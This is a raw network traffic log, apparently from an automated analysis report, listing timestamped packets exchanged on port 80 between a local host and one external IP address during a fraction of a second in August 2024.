Aug 4, 2024 02:21:37.032972097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.032980919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033004999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033014059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033037901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033054113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033070087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033078909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033102036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033109903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033134937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033148050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033169031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033175945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033200979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033216953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033232927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033245087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033266068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033278942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033298016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033308029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033341885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033899069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033931017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033950090 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033962965 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.033972025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.033994913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034003973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034027100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034035921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034059048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034070015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034090996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034102917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034122944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034130096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034154892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034166098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034188032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034198999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034219980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034230947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034252882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034262896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034286022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034293890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034318924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034329891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034362078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034670115 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034702063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034723043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034734011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034737110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034768105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034778118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034800053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034811974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034832001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034841061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034863949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.034873962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.034909964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.035629034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.035680056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.035681963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.035715103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.035726070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.035759926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.035892010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.035923958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.035943031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.035955906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.035965919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.035990000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.035995007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.036035061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.036053896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.036084890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.036098003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.036117077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.036134005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.036149025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.036155939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.036180973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.036190033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.036214113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.036223888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.036247015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.036259890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.036287069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.075814962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.075867891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.075881958 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.075903893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.075913906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.075946093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.076020956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.076054096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.076070070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.076086044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.076093912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.076133013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.076203108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.076256037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.117836952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.117935896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.117969036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118069887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118093014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118093014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118103027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118134975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118145943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118169069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118249893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118354082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118398905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118426085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118432045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118463993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118484974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118511915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118624926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118658066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118666887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118691921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118705034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118733883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118741035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118773937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.118783951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.118815899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119046926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119080067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119100094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119112015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119117975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119144917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119153976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119175911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119185925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119205952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119215012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119239092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119251013 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119271994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119293928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119303942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119312048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119335890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119344950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119369984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119379997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119414091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119694948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119726896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119749069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119760036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119792938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119796038 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119807959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119824886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119832993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119858027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119868040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119889975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119900942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119935989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119946957 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.119970083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.119981050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120017052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120110035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120161057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120223045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120254993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120263100 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120296001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120393991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120436907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120441914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120475054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120486975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120517015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120543957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120575905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120584011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120615959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120809078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120852947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120861053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120893002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120901108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120927095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120939970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120959044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120964050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.120990992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.120997906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121025085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121027946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121056080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121063948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121089935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121094942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121121883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121126890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121155977 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121159077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121195078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121570110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121606112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121622086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121638060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121648073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121670008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121679068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121701956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121707916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121733904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121741056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121766090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121777058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121797085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121808052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121840000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121846914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121879101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121889114 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121911049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121937990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121942997 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121948004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.121974945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.121982098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122008085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122018099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122046947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122471094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122503042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122523069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122535944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122555017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122586966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122594118 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122618914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122627974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122651100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122658014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122683048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122694016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122714996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122725964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122746944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122759104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122780085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122792006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122812033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122824907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122844934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122858047 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122876883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.122885942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.122920990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.123298883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.123349905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.123352051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.123382092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.123390913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.123414993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.123429060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.123446941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.123456001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.123491049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.123500109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.123532057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.123543978 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.123564005 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.123575926 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.123598099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.123603106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.123631001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.123641014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.123668909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.124365091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124412060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.124419928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124461889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.124469995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124509096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.124531984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124581099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.124588966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124620914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124627113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.124653101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124660015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.124689102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124691010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.124727964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.124946117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124973059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124988079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.124991894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.125003099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.125013113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.125017881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.125020981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.125036955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.125041962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.125061989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.125066996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.125077963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.125097036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.164927006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.164977074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.164998055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.165009022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.165029049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.165055037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.165090084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.165121078 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.165128946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.165154934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.165180922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.165188074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.165193081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.165230989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.215367079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.215420961 CEST	80	49757	147.45.44.104	192.168.2.4
